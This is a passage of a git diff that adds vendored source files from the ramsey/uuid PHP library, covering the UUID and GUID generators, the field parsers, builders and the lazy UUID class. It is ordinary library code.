b/vendor/ramsey/uuid/src/Generator/DefaultTimeGenerator.php new file mode 100644 index 000000000..d245c7bcc --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/DefaultTimeGenerator.php @@ -0,0 +1,147 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Exception\RandomSourceException; +use Ramsey\Uuid\Exception\TimeSourceException; +use Ramsey\Uuid\Provider\NodeProviderInterface; +use Ramsey\Uuid\Provider\TimeProviderInterface; +use Ramsey\Uuid\Type\Hexadecimal; +use Throwable; + +use function ctype_xdigit; +use function dechex; +use function hex2bin; +use function is_int; +use function pack; +use function sprintf; +use function str_pad; +use function strlen; + +use const STR_PAD_LEFT; + +/** + * DefaultTimeGenerator generates strings of binary data based on a node ID, + * clock sequence, and the current time + */ +class DefaultTimeGenerator implements TimeGeneratorInterface +{ + /** + * @var NodeProviderInterface + */ + private $nodeProvider; + + /** + * @var TimeConverterInterface + */ + private $timeConverter; + + /** + * @var TimeProviderInterface + */ + private $timeProvider; + + public function __construct( + NodeProviderInterface $nodeProvider, + TimeConverterInterface $timeConverter, + TimeProviderInterface $timeProvider + ) { + $this->nodeProvider = $nodeProvider; + $this->timeConverter = $timeConverter; + $this->timeProvider = $timeProvider; + } + + /** + * @throws InvalidArgumentException if the parameters contain invalid values + * @throws RandomSourceException if random_int() throws an exception/error + * + * @inheritDoc + */ + public function generate($node = null, ?int $clockSeq = null): string + { + if ($node instanceof Hexadecimal) { + $node = $node->toString(); + } + + $node = $this->getValidNode($node); + + if ($clockSeq === null) { + try { + // This does not use "stable storage"; see RFC 4122, Section 4.2.1.1. + $clockSeq = random_int(0, 0x3fff); + } catch (Throwable $exception) { + throw new RandomSourceException( + $exception->getMessage(), + (int) $exception->getCode(), + $exception + ); + } + } + + $time = $this->timeProvider->getTime(); + + $uuidTime = $this->timeConverter->calculateTime( + $time->getSeconds()->toString(), + $time->getMicroseconds()->toString() + ); + + $timeHex = str_pad($uuidTime->toString(), 16, '0', STR_PAD_LEFT); + + if (strlen($timeHex) !== 16) { + throw new TimeSourceException(sprintf( + 'The generated time of \'%s\' is larger than expected', + $timeHex + )); + } + + $timeBytes = (string) hex2bin($timeHex); + + return $timeBytes[4] . $timeBytes[5] . $timeBytes[6] . $timeBytes[7] + . $timeBytes[2] . $timeBytes[3] + . $timeBytes[0] . $timeBytes[1] + . pack('n*', $clockSeq) + . $node; + } + + /** + * Uses the node provider given when constructing this instance to get + * the node ID (usually a MAC address) + * + * @param string|int|null $node A node value that may be used to override the node provider + * + * @return string 6-byte binary string representation of the node + * + * @throws InvalidArgumentException + */ + private function getValidNode($node): string + { + if ($node === null) { + $node = $this->nodeProvider->getNode(); + } + + // Convert the node to hex, if it is still an integer. + if (is_int($node)) { + $node = dechex($node); + } + + if (!ctype_xdigit((string) $node) || strlen((string) $node) > 12) { + throw new InvalidArgumentException('Invalid node value'); + } + + return (string) hex2bin(str_pad((string) $node, 12, '0', STR_PAD_LEFT)); + } +} diff --git a/vendor/ramsey/uuid/src/Generator/NameGeneratorFactory.php b/vendor/ramsey/uuid/src/Generator/NameGeneratorFactory.php new file mode 100644 index 000000000..6f08e2910 --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/NameGeneratorFactory.php @@ -0,0 +1,30 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +/** + * NameGeneratorFactory retrieves a default name generator, based on the + * environment + */ +class NameGeneratorFactory +{ + /** + * Returns a default name generator, based on the current environment + */ + public function getGenerator(): NameGeneratorInterface + { + return new DefaultNameGenerator(); + } +} diff --git a/vendor/ramsey/uuid/src/Generator/NameGeneratorInterface.php b/vendor/ramsey/uuid/src/Generator/NameGeneratorInterface.php new file mode 100644 index 000000000..cc43dd029 --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/NameGeneratorInterface.php @@ -0,0 +1,38 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use Ramsey\Uuid\UuidInterface; + +/** + * A name generator generates strings of binary data created by hashing together + * a namespace with a name, according to a hashing algorithm + */ +interface NameGeneratorInterface +{ + /** + * Generate a binary string from a namespace and name hashed together with + * the specified hashing algorithm + * + * @param UuidInterface $ns The namespace + * @param string $name The name to use for creating a UUID + * @param string $hashAlgorithm The hashing algorithm to use + * + * @return string A binary string + * + * @psalm-pure + */ + public function generate(UuidInterface $ns, string $name, string $hashAlgorithm): string; +} diff --git a/vendor/ramsey/uuid/src/Generator/PeclUuidNameGenerator.php b/vendor/ramsey/uuid/src/Generator/PeclUuidNameGenerator.php new file mode 100644 index 000000000..3780c5c60 --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/PeclUuidNameGenerator.php @@ -0,0 +1,54 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use Ramsey\Uuid\Exception\NameException; +use Ramsey\Uuid\UuidInterface; + +use function sprintf; +use function uuid_generate_md5; +use function uuid_generate_sha1; +use function uuid_parse; + +/** + * PeclUuidNameGenerator generates strings of binary data from a namespace and a + * name, using ext-uuid + * + * @link https://pecl.php.net/package/uuid ext-uuid + */ +class PeclUuidNameGenerator implements NameGeneratorInterface +{ + /** @psalm-pure */ + public function generate(UuidInterface $ns, string $name, string $hashAlgorithm): string + { + switch ($hashAlgorithm) { + case 'md5': + $uuid = uuid_generate_md5($ns->toString(), $name); + + break; + case 'sha1': + $uuid = uuid_generate_sha1($ns->toString(), $name); + + break; + default: + throw new NameException(sprintf( + 'Unable to hash namespace and name with algorithm \'%s\'', + $hashAlgorithm + )); + } + + return uuid_parse($uuid); + } +} diff --git a/vendor/ramsey/uuid/src/Generator/PeclUuidRandomGenerator.php b/vendor/ramsey/uuid/src/Generator/PeclUuidRandomGenerator.php new file mode 100644 index 000000000..07c47d265 --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/PeclUuidRandomGenerator.php @@ -0,0 +1,35 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use function uuid_create; +use function uuid_parse; + +use const UUID_TYPE_RANDOM; + +/** + * PeclUuidRandomGenerator generates strings of random binary data using ext-uuid + * + * @link https://pecl.php.net/package/uuid ext-uuid + */ +class PeclUuidRandomGenerator implements RandomGeneratorInterface +{ + public function generate(int $length): string + { + $uuid = uuid_create(UUID_TYPE_RANDOM); + + return uuid_parse($uuid); + } +} diff --git a/vendor/ramsey/uuid/src/Generator/PeclUuidTimeGenerator.php b/vendor/ramsey/uuid/src/Generator/PeclUuidTimeGenerator.php new file mode 100644 index 000000000..e01f44e52 --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/PeclUuidTimeGenerator.php @@ -0,0 +1,39 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use function uuid_create; +use function uuid_parse; + +use const UUID_TYPE_TIME; + +/** + * PeclUuidTimeGenerator generates strings of binary data for time-base UUIDs, + * using ext-uuid + * + * @link https://pecl.php.net/package/uuid ext-uuid + */ +class PeclUuidTimeGenerator implements TimeGeneratorInterface +{ + /** + * @inheritDoc + */ + public function generate($node = null, ?int $clockSeq = null): string + { + $uuid = uuid_create(UUID_TYPE_TIME); + + return uuid_parse($uuid); + } +} diff --git a/vendor/ramsey/uuid/src/Generator/RandomBytesGenerator.php b/vendor/ramsey/uuid/src/Generator/RandomBytesGenerator.php new file mode 100644 index 000000000..12edb96ae --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/RandomBytesGenerator.php @@ -0,0 +1,45 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use Ramsey\Uuid\Exception\RandomSourceException; +use Throwable; + +/** + * RandomBytesGenerator generates strings of random binary data using the + * built-in `random_bytes()` PHP function + * + * @link http://php.net/random_bytes random_bytes() + */ +class RandomBytesGenerator implements RandomGeneratorInterface +{ + /** + * @throws RandomSourceException if random_bytes() throws an exception/error + * + * @inheritDoc + */ + public function generate(int $length): string + { + try { + return random_bytes($length); + } catch (Throwable $exception) { + throw new RandomSourceException( + $exception->getMessage(), + (int) $exception->getCode(), + $exception + ); + } + } +} diff --git a/vendor/ramsey/uuid/src/Generator/RandomGeneratorFactory.php b/vendor/ramsey/uuid/src/Generator/RandomGeneratorFactory.php new file mode 100644 index 000000000..b723ac29e --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/RandomGeneratorFactory.php @@ -0,0 +1,30 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +/** + * RandomGeneratorFactory retrieves a default random generator, based on the + * environment + */ +class RandomGeneratorFactory +{ + /** + * Returns a default random generator, based on the current environment + */ + public function getGenerator(): RandomGeneratorInterface + { + return new RandomBytesGenerator(); + } +} diff --git a/vendor/ramsey/uuid/src/Generator/RandomGeneratorInterface.php b/vendor/ramsey/uuid/src/Generator/RandomGeneratorInterface.php new file mode 100644 index 000000000..5c83cb4d8 --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/RandomGeneratorInterface.php @@ -0,0 +1,30 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +/** + * A random generator generates strings of random binary data + */ +interface RandomGeneratorInterface +{ + /** + * Generates a string of randomized binary data + * + * @param int $length The number of bytes of random binary data to generate + * + * @return string A binary string + */ + public function generate(int $length): string; +} diff --git a/vendor/ramsey/uuid/src/Generator/RandomLibAdapter.php b/vendor/ramsey/uuid/src/Generator/RandomLibAdapter.php new file mode 100644 index 000000000..24ed56920 --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/RandomLibAdapter.php @@ -0,0 +1,55 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use RandomLib\Factory; +use RandomLib\Generator; + +/** + * RandomLibAdapter generates strings of random binary data using the + * paragonie/random-lib library + * + * @link https://packagist.org/packages/paragonie/random-lib paragonie/random-lib + */ +class RandomLibAdapter implements RandomGeneratorInterface +{ + /** + * @var Generator + */ + private $generator; + + /** + * Constructs a RandomLibAdapter + * + * By default, if no Generator is passed in, this creates a high-strength + * generator to use when generating random binary data. + * + * @param Generator|null $generator The generator to use when generating binary data + */ + public function __construct(?Generator $generator = null) + { + if ($generator === null) { + $factory = new Factory(); + $generator = $factory->getHighStrengthGenerator(); + } + + $this->generator = $generator; + } + + public function generate(int $length): string + { + return $this->generator->generate($length); + } +} diff --git a/vendor/ramsey/uuid/src/Generator/TimeGeneratorFactory.php b/vendor/ramsey/uuid/src/Generator/TimeGeneratorFactory.php new file mode 100644 index 000000000..3d55fc4d6 --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/TimeGeneratorFactory.php @@ -0,0 +1,63 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Provider\NodeProviderInterface; +use Ramsey\Uuid\Provider\TimeProviderInterface; + +/** + * TimeGeneratorFactory retrieves a default time generator, based on the + * environment + */ +class TimeGeneratorFactory +{ + /** + * @var NodeProviderInterface + */ + private $nodeProvider; + + /** + * @var TimeConverterInterface + */ + private $timeConverter; + + /** + * @var TimeProviderInterface + */ + private $timeProvider; + + public function __construct( + NodeProviderInterface $nodeProvider, + TimeConverterInterface $timeConverter, + TimeProviderInterface $timeProvider + ) { + $this->nodeProvider = $nodeProvider; + $this->timeConverter = $timeConverter; + $this->timeProvider = $timeProvider; + } + + /** + * Returns a default time generator, based on the current environment + */ + public function getGenerator(): TimeGeneratorInterface + { + return new DefaultTimeGenerator( + $this->nodeProvider, + $this->timeConverter, + $this->timeProvider + ); + } +} diff --git a/vendor/ramsey/uuid/src/Generator/TimeGeneratorInterface.php b/vendor/ramsey/uuid/src/Generator/TimeGeneratorInterface.php new file mode 100644 index 000000000..18f21c4b6 --- /dev/null +++ b/vendor/ramsey/uuid/src/Generator/TimeGeneratorInterface.php @@ -0,0 +1,38 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Generator; + +use Ramsey\Uuid\Type\Hexadecimal; + +/** + * A time generator generates strings of binary data based on a node ID, + * clock sequence, and the current time + */ +interface TimeGeneratorInterface +{ + /** + * Generate a binary string from a node ID, clock sequence, and current time + * + * @param Hexadecimal|int|string|null $node A 48-bit number representing the + * hardware address; this number may be represented as an integer or a + * hexadecimal string + * @param int|null $clockSeq A 14-bit number used to help avoid duplicates + * that could arise when the clock is set backwards in time or if the + * node ID changes + * + * @return string A binary string + */ + public function generate($node = null, ?int $clockSeq = null): string; +} diff --git a/vendor/ramsey/uuid/src/Guid/Fields.php b/vendor/ramsey/uuid/src/Guid/Fields.php new file mode 100644 index 000000000..d8a1a2b10 --- /dev/null +++ b/vendor/ramsey/uuid/src/Guid/Fields.php @@ -0,0 +1,194 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Guid; + +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Fields\SerializableFieldsTrait; +use Ramsey\Uuid\Rfc4122\FieldsInterface; +use Ramsey\Uuid\Rfc4122\NilTrait; +use Ramsey\Uuid\Rfc4122\VariantTrait; +use Ramsey\Uuid\Rfc4122\VersionTrait; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Uuid; + +use function bin2hex; +use function dechex; +use function hexdec; +use function pack; +use function sprintf; +use function str_pad; +use function strlen; +use function substr; +use function unpack; + +use const STR_PAD_LEFT; + +/** + * GUIDs are comprised of a set of named fields, according to RFC 4122 + * + * @see Guid + * + * @psalm-immutable + */ +final class Fields implements FieldsInterface +{ + use NilTrait; + use SerializableFieldsTrait; + use VariantTrait; + use VersionTrait; + + /** + * @var string + */ + private $bytes; + + /** + * @param string $bytes A 16-byte binary string representation of a UUID + * + * @throws InvalidArgumentException if the byte string is not exactly 16 bytes + * @throws InvalidArgumentException if the byte string does not represent a GUID + * @throws InvalidArgumentException if the byte string does not contain a valid version + */ + public function __construct(string $bytes) + { + if (strlen($bytes) !== 16) { + throw new InvalidArgumentException( + 'The byte string must be 16 bytes long; ' + . 'received ' . strlen($bytes) . ' bytes' + ); + } + + $this->bytes = $bytes; + + if (!$this->isCorrectVariant()) { + throw new InvalidArgumentException( + 'The byte string received does not conform to the RFC ' + . '4122 or Microsoft Corporation variants' + ); + } + + if (!$this->isCorrectVersion()) { + throw new InvalidArgumentException( + 'The byte string received does not contain a valid version' + ); + } + } + + public function getBytes(): string + { + return $this->bytes; + } + + public function getTimeLow(): Hexadecimal + { + // Swap the bytes from little endian to network byte order. + /** @var array $hex */ + $hex = unpack( + 'H*', + pack( + 'v*', + hexdec(bin2hex(substr($this->bytes, 2, 2))), + hexdec(bin2hex(substr($this->bytes, 0, 2))) + ) + ); + + return new Hexadecimal((string) ($hex[1] ?? '')); + } + + public function getTimeMid(): Hexadecimal + { + // Swap the bytes from little endian to network byte order. + /** @var array $hex */ + $hex = unpack( + 'H*', + pack( + 'v', + hexdec(bin2hex(substr($this->bytes, 4, 2))) + ) + ); + + return new Hexadecimal((string) ($hex[1] ?? '')); + } + + public function getTimeHiAndVersion(): Hexadecimal + { + // Swap the bytes from little endian to network byte order. + /** @var array $hex */ + $hex = unpack( + 'H*', + pack( + 'v', + hexdec(bin2hex(substr($this->bytes, 6, 2))) + ) + ); + + return new Hexadecimal((string) ($hex[1] ?? '')); + } + + public function getTimestamp(): Hexadecimal + { + return new Hexadecimal(sprintf( + '%03x%04s%08s', + hexdec($this->getTimeHiAndVersion()->toString()) & 0x0fff, + $this->getTimeMid()->toString(), + $this->getTimeLow()->toString() + )); + } + + public function getClockSeq(): Hexadecimal + { + $clockSeq = hexdec(bin2hex(substr($this->bytes, 8, 2))) & 0x3fff; + + return new Hexadecimal(str_pad(dechex($clockSeq), 4, '0', STR_PAD_LEFT)); + } + + public function getClockSeqHiAndReserved(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 8, 1))); + } + + public function getClockSeqLow(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 9, 1))); + } + + public function getNode(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 10))); + } + + public function getVersion(): ?int + { + if ($this->isNil()) { + return null; + } + + /** @var array $parts */ + $parts = unpack('n*', $this->bytes); + + return ((int) $parts[4] >> 4) & 0x00f; + } + + private function isCorrectVariant(): bool + { + if ($this->isNil()) { + return true; + } + + $variant = $this->getVariant(); + + return $variant === Uuid::RFC_4122 || $variant === Uuid::RESERVED_MICROSOFT; + } +} diff --git a/vendor/ramsey/uuid/src/Guid/Guid.php b/vendor/ramsey/uuid/src/Guid/Guid.php new file mode 100644 index 000000000..b3ed096ab --- /dev/null +++ b/vendor/ramsey/uuid/src/Guid/Guid.php @@ -0,0 +1,61 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Guid; + +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Uuid; + +/** + * Guid represents a UUID with "native" (little-endian) byte order + * + * From Wikipedia: + * + * > The first three fields are unsigned 32- and 16-bit integers and are subject + * > to swapping, while the last two fields consist of uninterpreted bytes, not + * > subject to swapping. This byte swapping applies even for versions 3, 4, and + * > 5, where the canonical fields do not correspond to the content of the UUID. + * + * The first three fields of a GUID are encoded in little-endian byte order, + * while the last three fields are in network (big-endian) byte order. This is + * according to the history of the Microsoft definition of a GUID. + * + * According to the .NET Guid.ToByteArray method documentation: + * + * > Note that the order of bytes in the returned byte array is different from + * > the string representation of a Guid value. The order of the beginning + * > four-byte group and the next two two-byte groups is reversed, whereas the + * > order of the last two-byte group and the closing six-byte group is the + * > same. + * + * @link https://en.wikipedia.org/wiki/Universally_unique_identifier#Variants UUID Variants on Wikipedia + * @link https://docs.microsoft.com/en-us/windows/win32/api/guiddef/ns-guiddef-guid Windows GUID structure + * @link https://docs.microsoft.com/en-us/dotnet/api/system.guid .NET Guid Struct + * @link https://docs.microsoft.com/en-us/dotnet/api/system.guid.tobytearray .NET Guid.ToByteArray Method + * + * @psalm-immutable + */ +final class Guid extends Uuid +{ + public function __construct( + Fields $fields, + NumberConverterInterface $numberConverter, + CodecInterface $codec, + TimeConverterInterface $timeConverter + ) { + parent::__construct($fields, $numberConverter, $codec, $timeConverter); + } +} diff --git a/vendor/ramsey/uuid/src/Guid/GuidBuilder.php b/vendor/ramsey/uuid/src/Guid/GuidBuilder.php new file mode 100644 index 000000000..758dd6b7f --- /dev/null +++ b/vendor/ramsey/uuid/src/Guid/GuidBuilder.php @@ -0,0 +1,89 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Guid; + +use Ramsey\Uuid\Builder\UuidBuilderInterface; +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Exception\UnableToBuildUuidException; +use Ramsey\Uuid\UuidInterface; +use Throwable; + +/** + * GuidBuilder builds instances of Guid + * + * @see Guid + * + * @psalm-immutable + */ +class GuidBuilder implements UuidBuilderInterface +{ + /** + * @var NumberConverterInterface + */ + private $numberConverter; + + /** + * @var TimeConverterInterface + */ + private $timeConverter; + + /** + * @param NumberConverterInterface $numberConverter The number converter to + * use when constructing the Guid + * @param TimeConverterInterface $timeConverter The time converter to use + * for converting timestamps extracted from a UUID to Unix timestamps + */ + public function __construct( + NumberConverterInterface $numberConverter, + TimeConverterInterface $timeConverter + ) { + $this->numberConverter = $numberConverter; + $this->timeConverter = $timeConverter; + } + + /** + * Builds and returns a Guid + * + * @param CodecInterface $codec The codec to use for building this Guid instance + * @param string $bytes The byte string from which to construct a UUID + * + * @return Guid The GuidBuilder returns an instance of Ramsey\Uuid\Guid\Guid + * + * @psalm-pure + */ + public function build(CodecInterface $codec, string $bytes): UuidInterface + { + try { + return new Guid( + $this->buildFields($bytes), + $this->numberConverter, + $codec, + $this->timeConverter + ); + } catch (Throwable $e) { + throw new UnableToBuildUuidException($e->getMessage(), (int) $e->getCode(), $e); + } + } + + /** + * Proxy method to allow injecting a mock, for testing + */ + protected function buildFields(string $bytes): Fields + { + return new Fields($bytes); + } +} diff --git a/vendor/ramsey/uuid/src/Lazy/LazyUuidFromString.php b/vendor/ramsey/uuid/src/Lazy/LazyUuidFromString.php new file mode 100644 index 000000000..8ba757964 --- /dev/null +++ b/vendor/ramsey/uuid/src/Lazy/LazyUuidFromString.php @@ -0,0 +1,575 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Lazy; + +use DateTimeInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Exception\UnsupportedOperationException; +use Ramsey\Uuid\Fields\FieldsInterface; +use Ramsey\Uuid\Nonstandard\UuidV6; +use Ramsey\Uuid\Rfc4122\UuidV1; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use Ramsey\Uuid\UuidFactory; +use Ramsey\Uuid\UuidInterface; +use ValueError; + +use function assert; +use function bin2hex; +use function hex2bin; +use function sprintf; +use function str_replace; +use function substr; + +/** + * Lazy version of a UUID: its format has not been determined yet, so it is mostly only usable for string/bytes + * conversion. This object optimizes instantiation, serialization and string conversion time, at the cost of + * increased overhead for more advanced UUID operations. + * + * @internal this type is used internally for performance reasons, and is not supposed to be directly referenced + * in consumer libraries. + * + * @psalm-immutable + * + * Note: the {@see FieldsInterface} does not declare methods that deprecated API + * relies upon: the API has been ported from the {@see \Ramsey\Uuid\Uuid} definition, + * and is deprecated anyway. + * Note: the deprecated API from {@see \Ramsey\Uuid\Uuid} is in use here (on purpose): it will be removed + * once the deprecated API is gone from this class too. + * + * @psalm-suppress UndefinedInterfaceMethod + * @psalm-suppress DeprecatedMethod + */ +final class LazyUuidFromString implements UuidInterface +{ + public const VALID_REGEX = '/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/ms'; + /** + * @var string + * @psalm-var non-empty-string + */ + private $uuid; + /** @var UuidInterface|null */ + private $unwrapped; + + /** @psalm-param non-empty-string $uuid */ + public function __construct(string $uuid) + { + $this->uuid = $uuid; + } + + /** @psalm-pure */ + public static function fromBytes(string $bytes): self + { + $base16Uuid = bin2hex($bytes); + + return new self( + substr($base16Uuid, 0, 8) + . '-' + . substr($base16Uuid, 8, 4) + . '-' + . substr($base16Uuid, 12, 4) + . '-' + . substr($base16Uuid, 16, 4) + . '-' + . substr($base16Uuid, 20, 12) + ); + } + + public function serialize(): string + { + return $this->uuid; + } + + /** + * @return array{string: string} + * + * @psalm-return array{string: non-empty-string} + */ + public function __serialize(): array + { + return ['string' => $this->uuid]; + } + + /** + * {@inheritDoc} + * + * @param string $serialized + * + * @psalm-param non-empty-string $serialized + */ + public function unserialize($serialized): void + { + $this->uuid = $serialized; + } + + /** + * @param array{string: string} $data + * + * @psalm-param array{string: non-empty-string} $data + */ + public function __unserialize(array $data): void + { + // @codeCoverageIgnoreStart + if (!isset($data['string'])) { + throw new ValueError(sprintf('%s(): Argument #1 ($data) is invalid', __METHOD__)); + } + // @codeCoverageIgnoreEnd + + $this->unserialize($data['string']); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getNumberConverter(): NumberConverterInterface + { + return ($this->unwrapped ?? $this->unwrap()) + ->getNumberConverter(); + } + + /** + * {@inheritDoc} + * + * @psalm-suppress DeprecatedMethod + */ + public function getFieldsHex(): array + { + return ($this->unwrapped ?? $this->unwrap()) + ->getFieldsHex(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getClockSeqHiAndReservedHex(): string + { + return ($this->unwrapped ?? $this->unwrap()) + ->getClockSeqHiAndReservedHex(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getClockSeqLowHex(): string + { + return ($this->unwrapped ?? $this->unwrap()) + ->getClockSeqLowHex(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getClockSequenceHex(): string + { + return ($this->unwrapped ?? $this->unwrap()) + ->getClockSequenceHex(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getDateTime(): DateTimeInterface + { + return ($this->unwrapped ?? $this->unwrap()) + ->getDateTime(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getLeastSignificantBitsHex(): string + { + return ($this->unwrapped ?? $this->unwrap()) + ->getLeastSignificantBitsHex(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getMostSignificantBitsHex(): string + { + return ($this->unwrapped ?? $this->unwrap()) + ->getMostSignificantBitsHex(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getNodeHex(): string + { + return ($this->unwrapped ?? $this->unwrap()) + ->getNodeHex(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getTimeHiAndVersionHex(): string + { + return ($this->unwrapped ?? $this->unwrap()) + ->getTimeHiAndVersionHex(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getTimeLowHex(): string + { + return ($this->unwrapped ?? $this->unwrap()) + ->getTimeLowHex(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getTimeMidHex(): string + { + return ($this->unwrapped ?? $this->unwrap()) + ->getTimeMidHex(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getTimestampHex(): string + { + return ($this->unwrapped ?? $this->unwrap()) + ->getTimestampHex(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getUrn(): string + { + return ($this->unwrapped ?? $this->unwrap()) + ->getUrn(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getVariant(): ?int + { + return ($this->unwrapped ?? $this->unwrap()) + ->getVariant(); + } + + /** @psalm-suppress DeprecatedMethod */ + public function getVersion(): ?int + { + return ($this->unwrapped ?? $this->unwrap()) + ->getVersion(); + } + + public function compareTo(UuidInterface $other): int + { + return ($this->unwrapped ?? $this->unwrap()) + ->compareTo($other); + } + + public function equals(?object $other): bool + { + if (! $other instanceof UuidInterface) { + return false; + } + + return $this->uuid === $other->toString(); + } + + /** + * {@inheritDoc} + * + * @psalm-suppress MoreSpecificReturnType + * @psalm-suppress LessSpecificReturnStatement we know that {@see self::$uuid} is a non-empty string, so + * we know that {@see hex2bin} will retrieve a non-empty string too. + */ + public function getBytes(): string + { + /** @phpstan-ignore-next-line PHPStan complains that this is not a non-empty-string. */ + return (string) hex2bin(str_replace('-', '', $this->uuid)); + } + + public function getFields(): FieldsInterface + { + return ($this->unwrapped ?? $this->unwrap()) + ->getFields(); + } + + public function getHex(): Hexadecimal + { + return ($this->unwrapped ?? $this->unwrap()) + ->getHex(); + } + + public function getInteger(): IntegerObject + { + return ($this->unwrapped ?? $this->unwrap()) + ->getInteger(); + } + + public function toString(): string + { + return $this->uuid; + } + + public function __toString(): string + { + return $this->uuid; + } + + public function jsonSerialize(): string + { + return $this->uuid; + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getClockSeqHiAndReserved()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + * + * @psalm-suppress UndefinedInterfaceMethod + * @psalm-suppress DeprecatedMethod + * @psalm-suppress MixedArgument + * @psalm-suppress MixedMethodCall + */ + public function getClockSeqHiAndReserved(): string + { + $instance = ($this->unwrapped ?? $this->unwrap()); + + return $instance->getNumberConverter() + ->fromHex( + $instance->getFields() + ->getClockSeqHiAndReserved() + ->toString() + ); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getClockSeqLow()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + * + * @psalm-suppress UndefinedInterfaceMethod + * @psalm-suppress DeprecatedMethod + * @psalm-suppress MixedArgument + * @psalm-suppress MixedMethodCall + */ + public function getClockSeqLow(): string + { + $instance = ($this->unwrapped ?? $this->unwrap()); + + return $instance->getNumberConverter() + ->fromHex( + $instance->getFields() + ->getClockSeqLow() + ->toString() + ); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getClockSeq()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + * + * @psalm-suppress UndefinedInterfaceMethod + * @psalm-suppress DeprecatedMethod + * @psalm-suppress MixedArgument + * @psalm-suppress MixedMethodCall + */ + public function getClockSequence(): string + { + $instance = ($this->unwrapped ?? $this->unwrap()); + + return $instance->getNumberConverter() + ->fromHex( + $instance->getFields() + ->getClockSeq() + ->toString() + ); + } + + /** + * @deprecated This method will be removed in 5.0.0. There is no direct + * alternative, but the same information may be obtained by splitting + * in half the value returned by {@see UuidInterface::getHex()}. + * + * @psalm-suppress 